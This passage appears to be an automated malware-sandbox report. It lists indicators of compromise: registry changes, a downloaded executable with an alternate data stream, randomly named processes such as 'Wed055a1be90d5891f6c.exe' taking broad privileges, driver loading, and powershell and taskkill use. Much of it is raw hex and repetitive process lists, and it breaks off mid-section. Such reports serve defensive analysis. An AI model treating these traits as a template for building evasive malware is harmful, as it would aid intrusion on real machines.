4fd01b46eda0003d8db00a448ed0104dfdb004992db00b449fc014c97db007aa1db00807dfc019c47db0035ebde008875fc0160bede00a57bde00b05bea01a876de006cb3df00d825fc016cb3df009d42df00bc57ea01a07fdf00d10edf00bc57ea01e03fdf0027c7e000e01dfc0130d0e0007899e1001ce0fd018061e1007093e30008f6ff017093e3009675e3006899f001987be300b753e400fc04f901b85ce40013f6e500bc57ea012cc9e5005bbee5006899f0015cb9e500cc29e50038c9f00158bee600ce29e70008f4fd01f81fe7002ec6e80058a3fa0158b0e80000e9e9006899f00100e9e9007099e90010eeff017099e900d831e900b05bea01d831e9009f75ea0034caff01a04aea00d238ea006899f001e00aea00f71dea009866ff01f71dea00ab40eb00a856ff01ab40eb00ac47eb00c43aff01b05beb000be7ec004cb2ff010be7ec00c729ee00649aff01c729ee00e40aee008876ff01e40aee00b659ef00b05bea01b857ef0056a6f000d42aff016090f000f606f000e41aff01f808f0000ffef1006899f00110e1f100c133f200f00eff01c436f2001fe9f60028d7fe0120d6f600b640f60018e7fe01b84ef6004dbaf70008f4fd0150a7f700a057f70050affe01a057f70057aff800609ffe01a058f8005aa3f900fc10ed015ca5f900d128f9006899f001d42df90033c9fa006899f00134cefa00ab51fa00a448ed01ac56fa00f70dfa00bc57ea0104fffb00e813fb008c73fe01e813fb006f93fc00c837fe01708cfc007a87fd00dc23fe017c81fd00e815fd0058a3fa01e815fd003ec0fe00a448ed0140befe0048b7ff00e41bfe0148b7ff008778ff00f40bfe018877ff003a3a0101fc03fe013c3c01017c7c0101bc57ea019c9c0101282900012828020228290001b9b8000120200202bcbd0001c4c7020194940202c4c70201c9cd0501b4b40202ccc80501e8ed0401b4b40202e8ed04015a5d0601d4d402025c5b0601484009014c4c02024840090129220a017c7c0202303b0a01dbcb1101f8f80202dccc110175641001a448ed018091100103111301b05bea01041613016d7f13010405030270621301c9db130100f7f601ccde1301312212012829030234271201edfe1201a448ed01f0e31201170214013031030240551401b0a5140150510302b0a51401d0c51401d821f801d0c514016670170158590302687e1701d9cf170164650302dcca17017d6a160120200202809716013a221901b05bea0180981901bba3190148bdf401bca41901dcc419016899f001f0e81901001918018889030240591801677e180148bdf401687118016e721d0190910302706c1d019e821d016899f001a0bc1d01bda11d01bc57ea01c0dc1d013c211c01a4a503023c211c015b461c01bc57ea015c411c016d701c016899f001d0cd1c011d031f01cccd0302607e1f0127381e01f0f10302302f1e01c1f43401f8f90302d0e53401f4c23701080a0002102736011225360158aff6012017360186b1360130deef0186b136012018390140aeef0120183901477f3901f001f00150683901774f39017082f30180b83901a79f3901f002f301b08839012d143801b043f2012d143801526b3801b043f201605938019ba2380140b4f501a0993801c4fd3801c034f501d0e93801f4cd380138cdf401f4cd38010c363b0154a2f7010c363b0123193b0100feff0123193b013f053b0100feff013f053b01754f3b01e412f701754f3b01c1fb3b01cc3bf601c1fb3b01e6dc3b0100feff01e6dc3b015e653a0150a8f9015e653a01764d3a0100feff01764d3a018cb73a0100feff018cb73a01af943a0100feff01af943a01c5fe3a0100feff01c5fe3a01e0db3a0100feff01e0db3a01f9c23a0100feff01f9c23a01162a3d0100feff01162a3d01300c3d0100feff01300c3d0149753d0100feff0149753d01625e3d0100feff01625e3d0186ba3d0100feff0186ba3d019fa33d0100feff019fa33d01b9853d0100feff01b9853d01d2ee3d0100feff01d2ee3d01ebd73d0100feff01ebd73d0105383c0100feff0105383c011c213c0100feff011c213c0134093c0100feff0134093c01605d3c0100feff01605d3c0180bd3c0100feff0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d86ab200b406b200dc6eb200d86ab20048fbb300d86ab2004c9ed200d86ab20068bed600e039d900a47dd900249abe00e855bd0040f3b300b067d7009443d7006cd3bf0008b7bf00d86ab200d86ab20060a5c500a064c400ec5eb200a012b200f04aba00a461c500f808f000e03fdf00987be300b85ce40040551401bca41901e4e40000e6e60000e4e40000ecec0000e4e40000f8f80000e4e4000004050100e4e400000a0b0100cfcf0000cece0000080800003737000036360000232300001313000036360000474700004a4a00004e4e00005d5d00000b0b00005c5c0000595900000a0a00000908010011100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101181800001818008080000000000000000000000000000101020200003030008080000000000000000000000000000101090d0400484800006010720291910000000000000000000000000000000000003c034715014c561317011a0601531a161f1e1707450b0d0c0b0d07095a1a7201126b151f075307150f0a050d03010b581a5e1c165418013307365d120016080f0e1559581501021d4e1a52071c5449100b0d080c125e40040a111d1c1c0912594e0c02575b121e43584716074d0c0f070f031607223317011a0601531a161f1e1719330736134e120016080f0e154733070a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004041012425010060c3cbcbdbdb23233b3b03030b0b63636b6b7373b3b4bcbc8484e4e4ececf4f4ccccd4d4dcdc24242c2c34343c3c04040c0cecedf5f5fdfdcdcdd5d5dddd25252d2d2d2e36363e3e06061e1e66666e6e7676b6b8b0b08888808098989090e8e8e0e0f8f8f0f0c8c8c0c0d8d8d0d02828202038383030080800001818101068686060787870704848404058585050a8a9a1a1b9b9b1b18989818199999191e9e9e1e1f9f9f1f1c9c9c1c1d9d9d1d12929212139393131090901011919111169696161797971714949414159595151a9aaa2a2babab2b28a8a82829a9a9292eaeae2e2fafaf2f2cacac2c2dadad2d22a2a22223a3a32320a0a02021a1a12126a6a62627a7a72724a4a42425a5a5252aaaba3a3bbbbb3b38b8b8383ab00005051011819010000a4b4b484848c8c94949c9ce4e4ececf4f4fcfcccccd4d4dcdc24242c2c34343c3c04041c1c6c6c74747c7c44444c4c54545c5ca4a5adadb5b5bdbd85858d8d95959d9de5e5ededf5f5fdfdc5c5cdcdd5d5dddd25252d2d050a02021a1a12126a6a62627a7a72724a4a42425a5a5252aaaba3a3bbbbb3b38b8b83839b9b9393ebebe3e3fbfbf3f3cbcbc3c3dbdbd3d32b2b23233b3b33330b0b03031b1b13136b6b63637b7b73734b4b43435b5b5353abaca4a4bcbc8c8c84849c9c9494ecece4e4fcfcf4f4ccccc4c4dcdcd4d42c2c24243c3c34340c0c04041c1c14146c6c64647c7c74744c4c44445c5c5454acada5a5bdbdb5b58d8d85859d9d9595edede5e5fdfdf5f5cdcdc5c5ddddd5d5ad0000606101e0e0000048e1f1f1c1c1d1d121213131010111116161717141415151a1a2b2b282829292e2e2f2f2c2c2d2d222223232020212126262727242425252a2a3b3b383839393e3e3f3f3c3c3d3d323233333030313136363737343435353a3a4b4b484849494e4e4f4f4c4c4d4d424243434040414146464747444445454a4a5b5b585859595e5e5f5f5c5c5d5d525253535050515156565757545455555a5a6b6b686869696e6e6f6f6c6c6d6d626263636060616166666767646465656a6a7b7b787879797e7e7f7f7c7c7d7d727273737070717176767777747475757af707101080a020008a8b8b888889898e8e8f8f8c8c8d8d828283838080818186868787848485858a8a9b9b989899999e9e9f9f9c9c9d9d929293939090919196969797949495959a9aababa8a8a9a9aeaeafafacacadada2a2a3a3a0a0a1a1a6a6a7a7a4a4a5a5aaaabbbbb8b8b9b9bebebfbfbcbcbdbdb2b2b3b3b0b0b1b1b6b6b7b7b4b4b5b5babacbcbc8c8c9c9cececfcfcccccdcdc2c2c3c3c0c0c1c1c6c6c7c7c4c4c5c5cacadbdbd8d8d9d9dededfdfdcdcddddd2d2d3d3d0d0d1d1d6d6d7d7d4d4d5d5dadaebebe8e8e9e9eeeeefefececedede2e2e3e3e0e0e1e1e6e6e7e7e4e4e5e5eaeafbfbf8f8f9f9fefefffffcfcfdfdf27273737070717176767777747475757a7a8b8b888889898e8e8f8f8c8c8d8d828283838080818186868787848485858a8a9b9b989899999e9e9f9f9c9c9d9d929293939090919196969797949495959a9aababa8a8a9a9aeaeafafacacadada2a2a3a3a0a0a1a1a6a6a7a7a4a4a5a5aaaabbbbb8b8b9b9bebebfbfbcbcbdbdb2b2b3b3b0b0b1b1b6b6b7b7b4b4b5b5babacbcbc8c8c9c9cececfcfcccccdcdc2c2c3c3c0c0c1c1c6c6c7c7c4c4c5c5cacadbdbd8d8d9d9dededfdfdcdcddddd2d2d3d3d0d0d1d1d6d6d7d7d4d4d5d5dadaebebe8e8e9e9eeeeefefececedede2e2e3e3e0e0e1e1e6e6e7e7e4e4e5e5eaeafbfbf8f8f9f9fefefffffcfcfdfdf2f2f3f3f0f0f1f1f6f6f7f7f4f4f5f5faf808101c0c0000000a0b0b080809090e0e0f0f0c0c0d0d020203030000010106060707040405050a0a1b1b181819191e1e1f1f1c1c1d1d121213131010111116161717141415151a1a2b2b282829292e2e2f2f2c2c2d2d222223232020212126262727242425252a2a3b3b383839393e3e3f3f3c3c3d3d323233333030313136363737343435353a3a4b4b484849494e4e4f4f4c4c4d4d424243434040414146464747444445454a4a5b5b585859595e5e5f5f5c5c5d5d52525353505051515a5b0b1010c0c000028809898a8e0e10110100000a80b63636b6ba300002022026060000000a0080a6265adae8e8eeeeecece2e2e1e1e76767e7e4646bebf87879f90f8f8f0f0c8c8c0c0d8d8d0d0282820203838303000001818101068686060787870704848b8b99191c9c9212119197171a9aa8a8afafad2d2aa00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "651" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}\ProxyStubClsid32\ = "{A3ADC43E-56D9-4EC1-ADDA-49C5B9069B07}" GoogleUpdateComRegisterShell64.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\drweb.com\Total = "852" MicrosoftEdgeCP.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\PROGID GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C6271107-A214-4F11-98C0-3F16BC670D28}\InprocServer32\ThreadingModel = "Both" GoogleUpdateComRegisterShell64.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\ELEVATION GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\ProxyStubClsid32 GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\NumMethods\ = "5" GoogleUpdateComRegisterShell64.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "852" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}\ = "ICoCreateAsyncStatus" GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\NumMethods GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\ProxyStubClsid32 GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9} GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{909489C2-85A6-4322-AA56-D25278649D67}\NumMethods GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}\ProxyStubClsid32 GoogleUpdateComRegisterShell64.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\msn.com\Total = "32" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GoogleUpdate.PolicyStatusSvc\CLSID\ = "{1C4CDEFF-756A-4804-9E77-3E8EB9361016}" GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{34527502-D3DB-4205-A69B-789B27EE0414}\NumMethods\ = "23" GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\ = "IAppWeb" GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\NumMethods GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\ProxyStubClsid32\ = "{A3ADC43E-56D9-4EC1-ADDA-49C5B9069B07}" GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9} GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState MicrosoftEdgeCP.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\GoogleUpdate.exe GoogleUpdate.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1C4CDEFF-756A-4804-9E77-3E8EB9361016}\PROGID GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\NumMethods GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928} GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{34527502-D3DB-4205-A69B-789B27EE0414}\ProxyStubClsid32\ = "{A3ADC43E-56D9-4EC1-ADDA-49C5B9069B07}" GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\ = "IGoogleUpdate" GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\ProxyStubClsid32\ = "{A3ADC43E-56D9-4EC1-ADDA-49C5B9069B07}" GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32 GoogleUpdateComRegisterShell64.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" Process not Found Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ProgID\ = "GoogleUpdate.Update3COMClassService.1.0" GoogleUpdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LocalService = "gupdate" GoogleUpdate.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C6271107-A214-4F11-98C0-3F16BC670D28}\InprocServer32 GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\ = "IAppBundleWeb" GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\ProgID\ = "GoogleUpdate.OnDemandCOMClassMachine.1.0" GoogleUpdate.exe -
NTFS ADS 1 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\dos5wjbd.exe.b2hofgc.partial:Zone.Identifier browser_broker.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 9728 PING.EXE -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 364 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 3 IoCs
pid Process 2420 Process not Found 2420 Process not Found 2316 mstsc.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 920 chrome.exe 920 chrome.exe 2768 chrome.exe 2768 chrome.exe 3036 chrome.exe 3036 chrome.exe 3656 chrome.exe 3656 chrome.exe 3420 chrome.exe 3420 chrome.exe 1840 chrome.exe 1840 chrome.exe 3704 chrome.exe 3704 chrome.exe 2212 chrome.exe 2212 chrome.exe 2212 chrome.exe 2212 chrome.exe 2212 chrome.exe 2212 chrome.exe 512 chrome.exe 512 chrome.exe 1240 chrome.exe 1240 chrome.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 3576 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 2936 WerFault.exe 368 chrome.exe 368 chrome.exe 1048 chrome.exe 1048 chrome.exe 1720 chrome.exe 1720 chrome.exe 1600 taskmgr.exe 1600 taskmgr.exe 1600 taskmgr.exe 1600 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 5 IoCs
pid Process 2420 Process not Found 3368 taskmgr.exe 4404 perfmon.exe 5284 svchost.exe 5612 OaRl3IZeiM3ekVgg_i8GMVHy.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 4552 cureit.exe 4584 lGf5UNOdf.exe -
Suspicious behavior: MapViewOfSection 22 IoCs
pid Process 1008 Wed05df191dfbc60c.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 1380 fhgtuie 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
pid Process 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 356 chrome.exe 4776 chrome.exe 4776 chrome.exe 4776 chrome.exe 4776 chrome.exe 4776 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe 4916 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeRestorePrivilege 3576 WerFault.exe Token: SeBackupPrivilege 3576 WerFault.exe Token: SeBackupPrivilege 3576 WerFault.exe Token: SeDebugPrivilege 3576 WerFault.exe Token: SeDebugPrivilege 2936 WerFault.exe Token: SeDebugPrivilege 1600 taskmgr.exe Token: SeSystemProfilePrivilege 1600 taskmgr.exe Token: SeCreateGlobalPrivilege 1600 taskmgr.exe Token: 33 1600 taskmgr.exe Token: SeIncBasePriorityPrivilege 1600 taskmgr.exe Token: SeDebugPrivilege 3368 taskmgr.exe Token: SeSystemProfilePrivilege 3368 taskmgr.exe Token: SeCreateGlobalPrivilege 3368 taskmgr.exe Token: SeCreateTokenPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeAssignPrimaryTokenPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeLockMemoryPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeIncreaseQuotaPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeMachineAccountPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeTcbPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeSecurityPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeTakeOwnershipPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeLoadDriverPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeSystemProfilePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeSystemtimePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeProfSingleProcessPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeIncBasePriorityPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeCreatePagefilePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeCreatePermanentPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeBackupPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeRestorePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeShutdownPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeDebugPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeAuditPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeSystemEnvironmentPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeChangeNotifyPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeRemoteShutdownPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeUndockPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeSyncAgentPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeEnableDelegationPrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeManageVolumePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeImpersonatePrivilege 1524 Wed055a1be90d5891f6c.exe Token: SeCreateGlobalPrivilege 1524 Wed055a1be90d5891f6c.exe Token: 31 1524 Wed055a1be90d5891f6c.exe Token: 32 1524 Wed055a1be90d5891f6c.exe Token: 33 1524 Wed055a1be90d5891f6c.exe Token: 34 1524 Wed055a1be90d5891f6c.exe Token: 35 1524 Wed055a1be90d5891f6c.exe Token: SeDebugPrivilege 1232 Wed05110b84295dc.exe Token: SeDebugPrivilege 492 powershell.exe Token: SeDebugPrivilege 1152 powershell.exe Token: SeDebugPrivilege 4180 Wed0560cb12c1f.exe Token: SeDebugPrivilege 4188 Wed05adef517e454a1.exe Token: SeDebugPrivilege 3280 taskkill.exe Token: SeDebugPrivilege 4108 control.exe Token: SeDebugPrivilege 4316 chrome.exe Token: SeDebugPrivilege 3332 364c3e6f-1d27-4406-a471-538c30929eff.bin Token: SeDebugPrivilege 4584 Wed0560cb12c1f.exe Token: SeDebugPrivilege 4332 Wed05110b84295dc.exe Token: SeDebugPrivilege 4660 5517730.exe Token: SeDebugPrivilege 1244 taskkill.exe Token: SeShutdownPrivilege 2420 Process not Found Token: SeCreatePagefilePrivilege 2420 Process not Found Token: SeShutdownPrivilege 2420 Process not Found Token: SeCreatePagefilePrivilege 2420 Process not Found -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 1048 chrome.exe 1048 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
